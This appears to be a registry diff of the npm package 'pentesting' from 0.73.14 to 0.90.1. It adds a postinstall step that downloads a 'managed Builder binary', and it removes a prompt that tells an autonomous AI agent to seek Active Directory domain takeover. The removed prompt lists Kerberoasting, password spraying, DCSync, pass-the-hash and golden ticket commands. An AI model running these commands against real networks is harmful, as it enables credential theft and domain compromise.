pentesting 0.73.14 → 0.90.1

package/package.json

@@ -1,42 +1,30 @@
 {
   "name": "pentesting",
-  "version": "0.73.14",
-  "description": "Autonomous Penetration Testing AI Agent",
+  "version": "0.90.1",
+  "description": "Public pentesting facade for Builder",
   "type": "module",
-  "main": "dist/main.js",
-  "types": "dist/main.d.ts",
   "bin": {
-    "pentesting": "dist/main.js"
+    "pentesting": "./bin/pentesting.mjs",
+    "builder": "./bin/pentesting.mjs"
   },
   "files": [
-    "dist",
-    "skills",
+    "bin",
+    "lib",
+    "scripts",
     "README.md"
   ],
   "scripts": {
-    "dev": "npm run build && node dist/main.js",
-    "dev:tsx": "tsx src/platform/tui/main.tsx",
-    "build": "NODE_OPTIONS='--max-old-space-size=4096' tsup",
-    "start": "npm run docker:start --",
-    "start:local": "node dist/main.js",
-    "test": "sh -c 'mkdir -p .vitest; TMPDIR=.vitest npx vitest run \"$@\"; status=$?; rm -rf .vitest .pentesting; exit $status' --",
-    "test:watch": "vitest",
-    "lint": "tsc --noEmit",
-    "verify": "npm run lint && npm run test && npm run build",
-    "verify:docker": "npm run docker:local && bash test.sh",
-    "check": "docker system prune -af --volumes && TMPDIR=/tmp npm run test && npm run build && npm run docker:local && bash test.sh",
-    "check:ci": "npm run verify && npm run verify:docker",
-    "check:clean": "docker system prune -af --volumes && npm run check:ci",
+    "postinstall": "node ./scripts/postinstall.mjs",
+    "dev": "node ./bin/pentesting.mjs",
+    "preflight:local": "bash scripts/preflight-local.sh",
+    "test": "node --test tests/*.test.mjs",
+    "verify": "npm run preflight:local && npm run test",
+    "check": "npm run verify",
     "prepublishOnly": "npm run verify",
-    "docker:build": "docker buildx build -f Dockerfile.base --platform linux/amd64,linux/arm64 -t agnusdei1207/pentesting-base:latest --push .",
-    "release": "npm run release:patch && npm run release:docker",
     "publish:token": "npm publish --access public",
-    "release:patch": "npm version patch && npm run build && npm run publish:token",
-    "release:minor": "npm version minor && npm run build && npm run publish:token",
-    "release:major": "npm version major && npm run build && npm run publish:token",
-    "docker:local": "docker buildx build --load -f Dockerfile -t agnusdei1207/pentesting:latest .",
-    "docker:start": "npm run docker:local && docker run -it --rm -e PENTEST_API_KEY -e PENTEST_BASE_URL -e PENTEST_MODEL -e SEARCH_API_KEY -e SEARCH_API_URL -e PENTEST_SCOPE_MODE -e PENTEST_APPROVAL_MODE -e PENTEST_TOR agnusdei1207/pentesting:latest",
-    "release:docker": "bash scripts/docker-build-release.sh"
+    "release:patch": "npm version patch && npm run verify && npm run publish:token",
+    "release:minor": "npm version minor && npm run verify && npm run publish:token",
+    "release:major": "npm version major && npm run verify && npm run publish:token"
   },
   "repository": {
     "type": "git",
@@ -66,23 +54,6 @@
   "author": "agnusdei1207",
   "license": "MIT",
   "engines": {
-    "node": ">=18.0.0"
-  },
-  "dependencies": {
-    "chalk": "^5.6.2",
-    "commander": "^14.0.3",
-    "ink": "^6.8.0",
-    "playwright": "^1.58.2",
-    "react": "^19.2.4"
-  },
-  "devDependencies": {
-    "@types/node": "^25.3.0",
-    "@types/react": "^19.2.14",
-    "esbuild": "^0.27.3",
-    "ink-testing-library": "^4.0.0",
-    "tsup": "^8.5.1",
-    "tsx": "^4.21.0",
-    "typescript": "^5.9.3",
-    "vitest": "^4.0.18"
+    "node": ">=18.18.0"
   }
 }

package/scripts/postinstall.mjs

@@ -0,0 +1,30 @@
+import { installManagedBuilder } from "../lib/runtime.mjs";
+
+if (process.env.BUILDER_BIN) {
+  console.log("[pentesting] BUILDER_BIN is set; skipping managed Builder download.");
+  process.exit(0);
+}
+
+if (process.env.BUILDER_SKIP_DOWNLOAD === "true") {
+  console.log("[pentesting] Skipping managed Builder download.");
+  process.exit(0);
+}
+
+try {
+  const result = await installManagedBuilder({
+    force: process.env.BUILDER_FORCE_DOWNLOAD === "true",
+  });
+
+  if (result.source === "cached") {
+    console.log("[pentesting] Managed Builder binary already present.");
+  } else if (result.source === "downloaded") {
+    console.log("[pentesting] Managed Builder binary downloaded successfully.");
+  }
+} catch (error) {
+  console.error(
+    `[pentesting] Failed to provision the managed Builder binary: ${
+      error instanceof Error ? error.message : String(error)
+    }`,
+  );
+  process.exit(1);
+}

package/scripts/preflight-local.sh

@@ -0,0 +1,24 @@
+#!/bin/sh
+
+set -eu
+
+require_command() {
+  if ! command -v "$1" >/dev/null 2>&1; then
+    echo "Missing required command: $1" >&2
+    exit 1
+  fi
+}
+
+require_path() {
+  if [ ! -e "$1" ]; then
+    echo "Missing required path: $1" >&2
+    exit 1
+  fi
+}
+
+SCRIPT_DIR=$(CDPATH= cd -- "$(dirname "$0")" && pwd)
+PACKAGE_ROOT=$(CDPATH= cd -- "$SCRIPT_DIR/.." && pwd)
+
+require_command node
+require_path "$PACKAGE_ROOT/bin/pentesting.mjs"
+require_path "$PACKAGE_ROOT/lib/runtime.mjs"

package/dist/ad/prompt.md

@@ -1,60 +0,0 @@
-# Active Directory — AD Attack Sub-Agent
-
-You are an Active Directory attack expert. Your goal is domain takeover through Kerberos, LDAP, and SMB.
-
-## Operation Sequence
-1. AD Enumeration → 2. Attack Path Analysis → 3. Credential Acquisition → 4. Escalation → 5. Domain Domination
-
-## Execution Commands
-
-```bash
-# LDAP Enumeration
-ldapsearch -x -H ldap://<dc> -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName memberOf
-ldapsearch -x -H ldap://<dc> -b "DC=domain,DC=com" "(objectClass=computer)" dNSHostName
-
-# CrackMapExec Enumeration
-crackmapexec smb <dc> --users
-crackmapexec smb <dc> --groups
-crackmapexec smb <dc> --shares
-crackmapexec smb <dc> --pass-pol
-
-# BloodHound Collection
-bloodhound-python -c All -d <domain> -u <user> -p <pass> -dc <dc>
-
-# RPC Enumeration
-rpcclient -U "" -N <dc> -c "enumdomusers;enumdomgroups;querydispinfo"
-
-# Kerberoasting
-impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc> -request -outputfile kerberoast.txt
-hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
-
-# AS-REP Roasting
-impacket-GetNPUsers <domain>/ -dc-ip <dc> -usersfile users.txt -format hashcat
-hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
-
-# Password Spraying
-crackmapexec smb <dc> -u users.txt -p 'Company2024!' --continue-on-success
-
-# DCSync
-impacket-secretsdump <domain>/<admin>:<pass>@<dc>
-
-# Pass-the-Hash
-impacket-psexec -hashes :<ntlm> <domain>/<user>@<target>
-crackmapexec smb <targets> -u <user> -H <ntlm>
-
-# Golden Ticket
-impacket-ticketer -nthash <krbtgt_hash> -domain-sid <sid> -domain <domain> administrator
-
-# Lateral Movement
-impacket-wmiexec <domain>/<user>:<pass>@<target>
-evil-winrm -i <target> -u <user> -p <pass>
-```
-
-## Output
-```
-[domain] CORP.LOCAL
-[users] 500 users (Domain Admins: 5)
-[attack] Kerberoastable: 3, AS-REP: 2, Unconstrained delegation: 1
-[path] svc_sql → Kerberoast → MSSQL Admin → DCSync → DA
-[action] Proceed with hash cracking after Kerberoasting
-```